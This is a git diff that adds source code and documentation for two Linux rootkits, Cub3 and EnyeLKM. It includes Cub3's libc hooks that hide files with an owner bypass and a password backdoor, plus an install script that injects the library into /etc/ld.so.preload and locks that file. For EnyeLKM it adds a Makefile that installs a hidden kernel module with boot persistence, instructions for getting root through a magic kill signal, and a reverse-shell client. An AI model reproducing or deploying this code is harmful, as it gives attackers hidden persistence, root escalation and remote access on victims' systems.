+ +int rm_shell(void) +{ + #ifdef DEBUG + printf("[cub3]: rm_shell() called\n"); + #endif + + if(getuid() == 0 && getenv(OWNER_ENV_VAR)) return 1; + return 0; +} + +// now let's start writing our hooked functions :) + +ssize_t listxattr(const char *path, char *list, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: listxattr() called\n"); + #endif + + if(!old_listxattr) old_listxattr = dlsym(RTLD_NEXT, "listxattr"); + + if(rm_shell()) return old_listxattr(path, list, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_listxattr(path, list, size); +} + +ssize_t llistxattr(const char *path, char *list, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: llistxattr() called\n"); + #endif + + if(!old_llistxattr) old_llistxattr = dlsym(RTLD_NEXT, "llistxattr"); + + if(rm_shell()) return old_llistxattr(path, list, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_llistxattr(path, list, size); +} + +ssize_t flistxattr(int fd, char *list, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: flistxattr() called\n"); + #endif + + if(!old_flistxattr) old_flistxattr = dlsym(RTLD_NEXT, "flistxattr"); + + if(rm_shell()) return old_flistxattr(fd, list, size); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_flistxattr(fd, list, size); +} + +ssize_t getxattr(const char *path, const char *name, void *value, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: getxattr() called\n"); + #endif + + if(!old_getxattr) old_getxattr = dlsym(RTLD_NEXT, "getxattr"); + + if(rm_shell()) return old_getxattr(path, name, value, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_getxattr(path, name, value, size); +} + +ssize_t lgetxattr(const char *path, const char *name, void *value, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: lgetxattr() called\n"); + #endif + + if(!old_lgetxattr) old_lgetxattr = dlsym(RTLD_NEXT, "lgetxattr"); + + if(rm_shell()) return old_lgetxattr(path, name, value, size); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_lgetxattr(path, name, value, size); +} + +ssize_t fgetxattr(int fd, const char *name, void *value, size_t size) +{ + #ifdef DEBUG + printf("[cub3]: fgetxattr() called\n"); + #endif + + if(!old_fgetxattr) old_fgetxattr = dlsym(RTLD_NEXT, "fgetxattr"); + + if(rm_shell()) return old_fgetxattr(fd, name, value, size); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fgetxattr(fd, name, value, size); +} + +int setxattr(const char *path, const char *name, const void *value, size_t size, int flags) +{ + #ifdef DEBUG + printf("[cub3]: setxattr() called\n"); + #endif + + if(!old_setxattr) old_setxattr = dlsym(RTLD_NEXT, "setxattr"); + + if(rm_shell()) return old_setxattr(path, name, value, size, flags); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_setxattr(path, name, value, size, flags); +} + +int lsetxattr(const char *path, const char *name, const void *value, size_t size, int flags) +{ + #ifdef DEBUG + printf("[cub3]: lsetxattr() called\n"); + #endif + + if(!old_lsetxattr) old_lsetxattr = dlsym(RTLD_NEXT, "lsetxattr"); + + if(rm_shell()) return old_lsetxattr(path, name, value, size, flags); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_lsetxattr(path, name, value, size, flags); +} + +int fsetxattr(int fd, const char *name, const void *value, size_t size, int flags) +{ + #ifdef DEBUG + printf("[cub3]: fsetxattr() called\n"); + #endif + + if(!old_fsetxattr) old_fsetxattr = dlsym(RTLD_NEXT, "fsetxattr"); + + if(rm_shell()) return old_fsetxattr(fd, name, value, size, flags); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fsetxattr(fd, name, value, size, flags); +} + +int removexattr(const char *path, const char *name) +{ + #ifdef DEBUG + printf("[cub3]: removexattr() called\n"); + #endif + + if(!old_removexattr) old_removexattr = dlsym(RTLD_NEXT, "removexattr"); + + if(rm_shell()) return old_removexattr(path, name); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_removexattr(path, name); +} + +int lremovexattr(const char *path, const char *name) +{ + #ifdef DEBUG + printf("[cub3]: lremovexattr() called\n"); + #endif + + if(!old_lremovexattr) old_lremovexattr = dlsym(RTLD_NEXT, "lremovexattr"); + + if(rm_shell()) return old_lremovexattr(path, name); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_lremovexattr(path, name); +} + +int fremovexattr(int fd, const char *name) +{ + #ifdef DEBUG + printf("[cub3]: fremovexattr() called\n"); + #endif + + if(!old_fremovexattr) old_fremovexattr = dlsym(RTLD_NEXT, "fremovexattr"); + + if(rm_shell()) return old_fremovexattr(fd, name); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fremovexattr(fd, name); +} + +int open(const char *pathname, int flags, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: open() called\n"); + #endif + + if(!old_open) old_open = dlsym(RTLD_NEXT, "open"); + + if(rm_shell()) return old_open(pathname, flags, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_open(pathname, flags, mode); +} + +int open64(const char *pathname, int flags, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: open64() called\n"); + #endif + + if(!old_open64) old_open64 = dlsym(RTLD_NEXT, "open64"); + + if(rm_shell()) return old_open64(pathname, flags, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_open64(pathname, flags, mode); +} + +int openat(int dirfd, const char *pathname, int flags, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: openat() called\n"); + #endif + + if(!old_openat) old_openat = dlsym(RTLD_NEXT, "openat"); + + if(rm_shell()) return old_openat(dirfd, pathname, flags, mode); + + if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; } + + return old_openat(dirfd, pathname, flags, mode); +} + +int creat(const char *pathname, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: creat() called\n"); + #endif + + if(!old_creat) old_creat = dlsym(RTLD_NEXT, "creat"); + + if(rm_shell()) return old_creat(pathname, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_creat(pathname, mode); +} + +int unlink(const char *pathname) +{ + #ifdef DEBUG + printf("[cub3]: unlink() called\n"); + #endif + + if(!old_unlink) old_unlink = dlsym(RTLD_NEXT, "unlink"); + + if(rm_shell()) return old_unlink(pathname); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_unlink(pathname); +} + +int unlinkat(int dirfd, const char *pathname, int flags) +{ + #ifdef DEBUG + printf("[cub3]: unlinkat() called\n"); + #endif + + if(!old_unlinkat) old_unlinkat = dlsym(RTLD_NEXT, "unlinkat"); + + if(rm_shell()) return old_unlinkat(dirfd, pathname, flags); + + if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; } + + return old_unlinkat(dirfd, pathname, flags); +} + +int rmdir(const char *pathname) +{ + #ifdef DEBUG + printf("[cub3]: rmdir() called\n"); + #endif + + if(!old_rmdir) old_rmdir = dlsym(RTLD_NEXT, "rmdir"); + + if(rm_shell()) return old_rmdir(pathname); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_rmdir(pathname); +} + +int symlink(const char *target, const char *linkpath) +{ + #ifdef DEBUG + printf("[cub3]: symlink() called\n"); + #endif + + if(!old_symlink) old_symlink = dlsym(RTLD_NEXT, "symlink"); + + if(rm_shell()) return old_symlink(target, linkpath); + + if(hidden_xattr(target) || hidden_xattr(linkpath)) { errno = ENOENT; return -1; } + + return old_symlink(target, linkpath); +} + +int symlinkat(const char *target, int newdirfd, const char *linkpath) +{ + #ifdef DEBUG + printf("[cub3]: symlinkat() called\n"); + #endif + + if(!old_symlinkat) old_symlinkat = dlsym(RTLD_NEXT, "symlinkat"); + + if(rm_shell()) return old_symlinkat(target, newdirfd, linkpath); + + if(hidden_xattr(target) || + hidden_xattr(linkpath) || + hidden_fxattr(newdirfd)) + { errno = ENOENT; return -1;} + + return old_symlinkat(target, newdirfd, linkpath); +} + +int mkdir(const char *pathname, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: mkdir() called\n"); + #endif + + if(!old_mkdir) old_mkdir = dlsym(RTLD_NEXT, "mkdir"); + + if(rm_shell()) return old_mkdir(pathname, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_mkdir(pathname, mode); +} + +int mkdirat(int dirfd, const char *pathname, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: mkdirat() called\n"); + #endif + + if(!old_mkdirat) old_mkdirat = dlsym(RTLD_NEXT, "mkdirat"); + + if(rm_shell()) return old_mkdirat(dirfd, pathname, mode); + + if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; } + + return old_mkdirat(dirfd, pathname, mode); +} + +int chdir(const char *path) +{ + #ifdef DEBUG + printf("[cub3]: chdir() called\n"); + #endif + + if(!old_chdir) old_chdir = dlsym(RTLD_NEXT, "chdir"); + + if(rm_shell()) return old_chdir(path); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_chdir(path); +} + +int fchdir(int fd) +{ + #ifdef DEBUG + printf("[cub3]: fchdir() called\n"); + #endif + + if(!old_fchdir) old_fchdir = dlsym(RTLD_NEXT, "fchdir"); + + if(rm_shell()) return fchdir(fd); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fchdir(fd); +} + +DIR *opendir(const char *name) +{ + #ifdef DEBUG + printf("[cub3]: opendir() called\n"); + #endif + + if(!old_opendir) old_opendir = dlsym(RTLD_NEXT, "opendir"); + + if(rm_shell()) return old_opendir(name); + + if(hidden_xattr(name)) { errno = ENOENT; return NULL; } + + return old_opendir(name); +} + +DIR *opendir64(const char *name) +{ + #ifdef DEBUG + printf("[cub3]: opendir64() called\n"); + #endif + + if(!old_opendir64) old_opendir64 = dlsym(RTLD_NEXT, "opendir64"); + + if(rm_shell()) return old_opendir64(name); + + if(hidden_xattr(name)) { errno = ENOENT; return NULL; } + + return old_opendir64(name); +} + +DIR *fdopendir(int fd) +{ + #ifdef DEBUG + printf("[cub3]: fdopendir() called\n"); + #endif + + if(!old_fdopendir) old_fdopendir = dlsym(RTLD_NEXT, "fdopendir"); + + if(rm_shell()) return old_fdopendir(fd); + + if(hidden_fxattr(fd)) { errno = ENOENT; return NULL; } + + return old_fdopendir(fd); +} + +struct dirent *readdir(DIR *dirp) +{ + #ifdef DEBUG + printf("[cub3]: readdir() called\n"); + #endif + + if(!old_readdir) old_readdir = dlsym(RTLD_NEXT, "readdir"); + + if(rm_shell()) return old_readdir(dirp); + + struct dirent *dir; + char path[PATH_MAX + 1]; + + do { + dir = old_readdir(dirp); + + if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue; + + if(dir != NULL) + { + int fd = dirfd(dirp); + char fd_path[256], *directory_name = (char *) malloc(256); + memset(directory_name, 0, 256); + snprintf(fd_path, 255, "/proc/self/fd/%d", fd); + readlink(fd_path, directory_name, 255); + snprintf(path, sizeof(path) - 1, "%s/%s", directory_name, dir->d_name); + } + } while(dir && hidden_xattr(path)); + + return dir; +} + +struct dirent64 *readdir64(DIR *dirp) +{ + #ifdef DEBUG + printf("[cub3]: readdir64() called\n"); + #endif + + if(!old_readdir64) old_readdir64 = dlsym(RTLD_NEXT, "readdir64"); + + if(rm_shell()) return old_readdir64(dirp); + + struct dirent64 *dir; + char path[PATH_MAX + 1]; + + do { + dir = old_readdir64(dirp); + + if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue; + + if(dir != NULL) + { + int fd = dirfd(dirp); + char fd_path[256], *directory_name = (char *) malloc(256); + memset(directory_name, 0, 256); + snprintf(fd_path, 255, "/proc/self/fd/%d", fd); + readlink(fd_path, directory_name, 255); + snprintf(path, sizeof(path) - 1, "%s/%s", directory_name, dir->d_name); + } + } while(dir && hidden_xattr(path)); + + return dir; +} + +int execve(const char *filename, char *const argv[], char *const envp[]) +{ + #ifdef DEBUG + printf("[cub3]: execve() called\n"); + #endif + + if(!old_execve) old_execve = dlsym(RTLD_NEXT, "execve"); + + if(rm_shell()) + { + if(argv[1] != NULL && !strcmp(argv[1], EXECVE_PASS)) + { + #ifdef DEBUG + printf("[cub3]: user passed the CORRECT execve pass\n"); + #endif + + if(!old_setxattr) old_setxattr = dlsym(RTLD_NEXT, "setxattr"); + if(!old_removexattr) old_removexattr = dlsym(RTLD_NEXT, "removexattr"); + + if(strstr(filename, "unhide")) + { + if(argv[2] == NULL) + { + printf("Usage: ./unhide \n"); + exit(0); + } + + char *target_file = argv[2], xattr_user[40]; + snprintf(xattr_user, sizeof(xattr_user), "user.%s", HIDDEN_XATTR_STR); + old_removexattr(target_file, xattr_user); + printf("File %s unhidden.\n", target_file); + + exit(0); + } + + if(strstr(filename, "hide")) + { + if(argv[2] == NULL) + { + printf("Usage: ./hide \n"); + exit(0); + } + + char *target_file = argv[2], xattr_user[40]; + snprintf(xattr_user, sizeof(xattr_user), "user.%s", HIDDEN_XATTR_STR); + old_setxattr(target_file, xattr_user, HIDDEN_XATTR_STR, strlen(HIDDEN_XATTR_STR), XATTR_CREATE); + printf("File %s hidden.\n", target_file); + + exit(0); + } + } + + return old_execve(filename, argv, envp); + } + + if(hidden_xattr(filename)) { errno = ENOENT; return -1; } + + return old_execve(filename, argv, envp); +} diff --git a/Linux/Rootkits/Cub3/install.sh b/Linux/Rootkits/Cub3/install.sh new file mode 100644 index 0000000..cb54747 --- /dev/null +++ b/Linux/Rootkits/Cub3/install.sh @@ -0,0 +1,64 @@ +#!/bin/bash + +[ $(id -u) != 0 ] && { echo "Not root. Exiting."; exit; } + +read -p "Enter your desired install directory [/lib]: " +if [ -z $REPLY ]; then + INSTALL_DIR="/lib" +else + INSTALL_DIR=$REPLY +fi + +read -p "Enter your desired xattr magic string [DEFAULT_XATTR_STR]: " +if [ -z $REPLY ]; then + XATTR_STR="DEFAULT_XATTR_STR" +else + XATTR_STR=$REPLY +fi + +read -p "Enter your desired owner environment variable (used to remove cub3) [DEFAULT_VAR]: " +if [ -z $REPLY ]; then + OWNER_ENV_VAR="DEFAULT_VAR" +else + OWNER_ENV_VAR=$REPLY +fi + +read -p "Enter your desired execve password (used for dynamically hiding/unhiding files/directories) [DEFAULT_PASS]: " +if [ -z $REPLY ]; then + EXECVE_PASS="DEFAULT_PASS" +else + EXECVE_PASS=$REPLY +fi + + +[ -f /usr/bin/apt-get ] && { echo "Installing attr via apt-get"; apt-get --yes --force-yes install attr &>/dev/null; } + +echo "Configuring and compiling cub3" + +sed -i "s:CHANGEME0:$XATTR_STR:" config.h +sed -i "s:CHANGEME1:$OWNER_ENV_VAR:" config.h +sed -i "s:CHANGEME2:$EXECVE_PASS:" config.h + +CFLAGS="-ldl" +WFLAGS="-Wall" +FFLAGS="-fomit-frame-pointer -fPIC" +gcc -std=gnu99 cub3.c -O0 $WFLAGS $FFLAGS -shared $CFLAGS -Wl,--build-id=none -o cub3.so +strip cub3.so +setfattr -n user.$XATTR_STR -v $XATTR_STR cub3.so + +sed -i "s:$XATTR_STR:CHANGEME0:" config.h +sed -i "s:$OWNER_ENV_VAR:CHANGEME1:" config.h +sed -i "s:$EXECVE_PASS:CHANGEME2:" config.h + +echo "cub3 successfully configured and compiled." +echo "Installing cub3.so to $INSTALL_DIR and injecting into ld.so.preload" + +mv cub3.so $INSTALL_DIR/ +echo "$INSTALL_DIR/cub3.so" > /etc/ld.so.preload +export $OWNER_ENV_VAR=1 +setfattr -n user.$XATTR_STR -v $XATTR_STR /etc/ld.so.preload +chattr +ia /etc/ld.so.preload + +echo "cub3 successfully installed on the system." +echo "Remember you can remove it by setting your environment variable ($OWNER_ENV_VAR) in a root shell and removing ld.so.preload." +echo "Remember to run chattr -ia on ld.so.preload, or else you'll be unable to remove it. :p" diff --git a/Linux/Rootkits/Enyelkm/.github/FUNDING.yml b/Linux/Rootkits/Enyelkm/.github/FUNDING.yml new file mode 100644 index 0000000..647d629 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/.github/FUNDING.yml @@ -0,0 +1,5 @@ +# These are supported funding model platforms + +github: [therealdreg] +patreon: dreg +custom: ["https://www.paypal.me/therealdreg"] diff --git a/Linux/Rootkits/Enyelkm/LEEME.txt b/Linux/Rootkits/Enyelkm/LEEME.txt new file mode 100644 index 0000000..a0ecb6b --- /dev/null +++ b/Linux/Rootkits/Enyelkm/LEEME.txt @@ -0,0 +1,128 @@ + --------------------------------------------- + ENYELKM v1.2 | by RaiSe && David Reguera + Linux Rootkit x86 kernel v2.6.x + < raise@enye-sec.org > + < davidregar@yahoo.es > + < http://www.enye-sec.org > + --------------------------------------------- + + + Testeado en kernels: + v2.6.3-7mdk + v2.6.17-5mdv + v2.6.11-1.1369_FC4 + + v2.6.14.3 + v2.6.18-1.2798.fc6 + v2.6.21.1 + + Para compilar: + + # make + + Para instalar: + + # make install + + Para compilar solo 'conectar': + + # make conectar + + + * Lo que hace make install: + + - Copia el fichero enyelkm.ko a /etc/.enyelkmOCULTAR.ko, de forma + que una vez cargado el modulo el fichero permanecera oculto. + + - Aade la cadena insmod /etc/.enyelkmOCULTAR.ko entre las marcas + # y # al fichero /etc/rc.d/rc.sysinit, + de forma que una vez cargado el modulo esas lineas permaneceran + ocultas. + + - Carga el modulo mediante insmod /etc/.enyelkmOCULTAR.ko. + + - Intenta sobreescribir la fecha de archivo modificado de + /etc/rc.d/rc.sysinit con la de /etc/rc.d/rc, y ponerle el + atributo +i a /etc/.enyelkmOCULTAR.ko con touch y chattr + respectivamente. + + + * Ocultar ficheros, directorios y procesos: + + Se ocultan los ficheros, directorios y procesos que contengan + la subcadena 'OCULTAR' en su nombre. En el caso de los procesos + tambien se ocultan los que tengan gid = 0x489196ab. La shell + remota (ver acceso remoto mas abajo) corre con ese gid, por lo + que la shell y todos los procesos que se lancen desde ella + permaneceran ocultos. + + + * Ocultar partes de un fichero: + + Se oculta en un fichero todo lo que este entre las marcas: + (marcas incluidas) + + # + texto a ocultar + # + + + * Consiguiendo root local: + + Haciendo: # kill -s 58 12345 + se consigue id 0. + + + * Ocultacion del modulo a 'lsmod' y '/sys/module': + + El modulo se auto_oculta al cargarlo. + + + * Acceso remoto: + + Usar el programa 'conectar', que va incluido en el tgz. Se compila con + el make del LKM o con 'make conectar'. Hay dos formas de pedir la shell, + via ICMP o via TCP. Siempre se recibira una reverse shell, estan + implementadas las dos formas por si los ICMP estan bloqueados por algun + firewall intermedio. Si se usa el modo ICMP el programa enviara un ICMP + especial, y abrira un puerto a la escucha en la que recibira la shell. + Si se usa el modo TCP se conectara al puerto indicado, enviara una firma, + y abrira un puerto a la escucha en la que recibira la reverse shell. Para + salir de la shell: control+c. + + Modo ICMP: './conectar -icmp ip_maquina_con_lkm' + Modo TCP: './conectar -tcp ip_maquina_con_lkm puerto_tcp_abierto_en_ella' + + + * Ocultacion de la conexion de la reverse shell al netstat: + + Se auto_ocultan todas las conexiones a la ip que envio el ICMP/TCP con el + programa conectar. + + + * Desinstalacion del modulo: + + El modulo no puede descargarse mediante 'rmmod' ya que permanece + oculto. Y aunque estuviera visible no se podria ya que el sistema + dejaria de funcionar. La unica forma es reiniciando el sistema. En caso + de haber hecho 'make install', una forma de quitar la cadena oculta + de /etc/rc.d/rc.sysinit es editando ese fichero y guardandolo sin + modificar nada, de esa forma se guardara sin la cadena ya que el + editor no la 've'. Luego reiniciar. Una forma sencilla de mirar si + el LKM esta cargado es haciendo un 'kill -s 58 12345' y mirando si + da root. + + + [ -- ] + + + --> En la version 1.3: + + Intentar adaptarlo para que compile y funcione en kernels 2.4.x + y x86_64. + + + -> Agradecimientos: + + Gracias a Int27h por el consejo para conseguir sysenter_entry :). + + Gracias a kenshin por el metodo para ocultar el lkm a '/sys/module' + y por las pruebas ;). + + + +EOF diff --git a/Linux/Rootkits/Enyelkm/LICENSE b/Linux/Rootkits/Enyelkm/LICENSE new file mode 100644 index 0000000..42fef74 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2015 David Reguera Garcia aka Dreg + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/Linux/Rootkits/Enyelkm/Makefile b/Linux/Rootkits/Enyelkm/Makefile new file mode 100644 index 0000000..2f7d84c --- /dev/null +++ b/Linux/Rootkits/Enyelkm/Makefile @@ -0,0 +1,63 @@ +obj-m += enyelkm.o +enyelkm-objs := base.o kill.o ls.o read.o remoto.o +DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko +S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8` +VERSION = v1.2 +CC = gcc +CFLAGS += -fomit-frame-pointer + +all: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + @echo "#define DSYSENTER $(S_ENT)" > data.h + make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules + $(CC) conectar.c -o conectar -Wall + @rm -f $(DELKOS) + +conectar: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + $(CC) conectar.c -o conectar -Wall + @echo + +install: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + @cp -f enyelkm.ko /etc/.enyelkmOCULTAR.ko + @chattr +i /etc/.enyelkmOCULTAR.ko > /dev/null 2> /dev/null + @echo -e "#\ninsmod /etc/.enyelkmOCULTAR.ko" \ + \ " > /dev/null 2> /dev/null\n#" \ + \ >> /etc/rc.d/rc.sysinit + @touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> /dev/null + @insmod /etc/.enyelkmOCULTAR.ko + @echo + enyelkm.ko copiado a /etc/.enyelkmOCULTAR.ko + @echo + instalada cadena de autocarga en /etc/rc.d/rc.sysinit oculta + @echo + enyelkm cargado ! + @echo + +clean: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + @rm -rf *.o *.ko *.mod.c .*.cmd .*.d data.h conectar .tmp_versions Modules.symvers + make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean + diff --git a/Linux/Rootkits/Enyelkm/README.md b/Linux/Rootkits/Enyelkm/README.md new file mode 100644 index 0000000..2016a29 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/README.md @@ -0,0 +1,179 @@ +# enyelkm +LKM rootkit for Linux x86 with the 2.6 kernel. It inserts salts inside system_call and sysenter_entry. + +Please, consider make a donation: https://github.com/sponsors/therealdreg + +## EnyeLKM Overview + +Written by Jacob Williams - 2008, thx for your presentation! + +### What is EnyeLKM? + +* EnyeLKM is a Linux rootkit that is used by an attacker to maintain persistence on compromised Linux machines running a 2.6 kernel. +* As indicated by its name, it is implemented as a loadable kernel module. +* It cannot be used by itself to compromise a Linux machine. Once a machine is compromised, it is used to provide a persistent back door. +* Since the code is inserted into kernel space it does not show up in the process list and can impact ALL user mode programs running on the infected machine. +* By using the rootkit to maintain persistence on the infected machine, the attacker does not have to use an attack vector against the machine every time he needs access. +* Using the rootkit is more advantageous than traditional methods of leaving a backdoor account or running a user mode network backdoor as these can be easily detected. + +### What does it provide? + +EnyeLKM offers the following features: + +* Hiding directories +* Hiding files +* Hiding specific content within files +* Hiding processes +* Privilege escalation to root from a non-root login +* Reverse shell +* The EnyeLKM module itself is hidden from lsmod + +### Hiding files and data + +EnyeLKM hides files, directories and processes by inserting jumps to trampoline functions in both the system_call() and sys_enter() instructions in the kernel. All user space applications (read() , write(), etc) invoke kernel space functionality (system calls) through one of these two functions. + +When EnyeLKM is compiled, a special hide string is defined in config.h as the variable SHIDE. The default string is “OCULTAR”. An English translation of the rootkit is also available that uses a default hide string of “HIDE^IT”. Since many of your attackers are script kiddies that don't know how to code, it has been my experience that most of the kits found use one of these two strings (although others are certainly possible). + +The SHIDE string is significant. Any file or directory name containing this string will be hidden from view when performing a directory listing. + +The SHIDE string is also used to hide the kernel module itself on the filesystem. It is installed in /etc/ by default but will usually not be visible because the module is hiding it. + +A common reason to compromise Linux servers is to install a warez site, IRC server, or botnet. In any of these cases it helps to have hidden directories that a system administrator cannot see. This can be accomplished by including the SHIDE string in the directory name. Of course many gigabytes of missing disk space (such as in the case of a warez site) may be noticed by a good system administrator. + +Only the top level hidden directory needs to include the SHIDE string in its name. All child directories and files can have normal names. Since the directory name will only be known to those meant to access it, the child directories and files will not be found by any interlopers. + +Two additional strings are defined in read.c as MOPEN and MCLOSE. These are set to by default to “#” and #” respectively. Any data inside a file between these two strings (including the strings themselves) will not be returned from a read call. + +This is used to load the kernel module on boot. By default the command to load the EnyeLKM module will be contained between these strings in /etc/rc.d/rc.sysinit. Before the module is loaded (i.e. while the system is booting) these strings will be visible in the file. As soon as the module is loaded, the strings will not be visible in the file. For this reason, simply inspecting the /etc/rc.d/rc.sysinit file for the insmod command will not reveal the rootkit. + +As a matter of course, simply because you think you know the location of a hidden directory or kernel module does not mean that you should probe it (list it, stat any files, etc) on a live system where the module may be running. + +While EnyeLKM does not employ any defensive technology some other rootkits do. This could easily be added to EnyeLKM by a skilled programmer. An example of defensive technology would be to monitor read attempts to a hidden directory by an unprivileged process (one without the magic gid). If an unprivileged process tries to read from the hidden directory the rootkit may try to delete itself or write random data to the disk to obfuscate digital forensics. + +While I have not seen any rootkits that try to destroy the system, I have seen several examples that will remove themselves from memory and delete from disk if probed. Corrupting the whole system is a trivial matter from kernel space. + +The bottom line is this: only probe hidden directories for data when you know it is safe. How do you know when it is safe? It is only safe when you are examining a disk image (or the actual disk) of the compromised machine from a trusted computer. You can't trust anything the compromised machine tells you. + +### Hiding processes + +If the attacker wishes to run an IRC server, warez site, or other malicious enterprise simply hiding data won't do. The processes used for this activity would be obvious to an administrator just by running a simple 'ps' command. EnyeLKM inspects a process's GID to determine whether or not to hide it from the processlist. The GID of processes to hide is defined in config.h. By default it is set to 0x489196ab. + +Just like the SHIDE string, the gid for hidden processes is rarely if ever changed by script kiddies when building the rootkit. One way to detect the rootkit while running on the system is to run a specially crafted utility that runs in a tight loop and changes it's GID to the default EnyeLKM GID. If the target process disappears from the process list, something is hiding the process. EnyeLKM is likely installed on the system. + +For those familiar with Linux operation, the process is hidden from tools such as ps by hiding the PID's directory from the /proc filesystem. The directory is still there and can be changed into (if the PID is known) just not read in a directory listing. + +A utility to find the EnyeLKM GID was written as part of the exploration of this rootkit. Code can be downloaded from the link below. http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/findEnyeGID.c + +### Hiding network connections + +Hiding network connections is just as important as hiding processes on a system if the attacker is to outsmart a savvy system administrator. + +EnyeLKM will hide network connections from processes that have the special GID from netstat and other tools that depend on reading the /proc filesystem. + +There is a (laborious) way to find network connections from view by EnyeLKM that still works as of EnyeLKM 1.2 but may be corrected in a future version. It involves counting network connections. Even though EnyeLKM correctly hides the network connections, it does not correctly update the TCP and UDP stack statistics. + +### Privilege Escalation + +When an attacker is a legitimate user, he may need to escalate his privileges to perform additional malicious activity. While the attacker needed root privileges to install the rootkit, the user may never have gained an interactive shell. Another possibility is that the user gained root privileges but the known root password has been changed. + +In either case, the user can gain root by executing a kill command. Running the following command in a shell will grant that shell root privileges: +'kill -s 58 12345' + +In this case '58' is the signal and 12345 is the process ID. There need not be any process ID 12345 running on the system. The kill system call is trapped by the kernel and the shell running the command is given root privileges. + +The signal and PID are default values and can be changed in kill.c. + +Note that in this case, the shell is given root privileges by changing the UID to zero in the shell's kernel task_struct. No changes are visible on the shell. Confirmation that the UID has been changed can be achieved by trying something that ordinarily can't be done as the root user. + +### Network Backdoor + +Most often the attacker will need to connect to the compromised machine remotely. A traditional method of providing backdoor access is to run a user mode program that opens a port for the attacker to connect to. This is not especially stealthy since it can be seen in netstat output. Even if the user mode program is being blocked from netstat output by the methods described earlier the open port still may be detected with active port scanning (such as an internal security team performing a nessus or nmap scan). + +To solve this issue, EnyeLKM offers a method remote access commonly referred to as reverse shell by callback. The attacker sends a specially crafted ICMP echo request packet to the machine with the rootkit installed. Since the rootkit is installed in kernel space, it is able to examine all incoming network packets. When it detects an ICMP echo request, it checks the ICMP payload to see if it includes the pre-shared key and connection parameters. 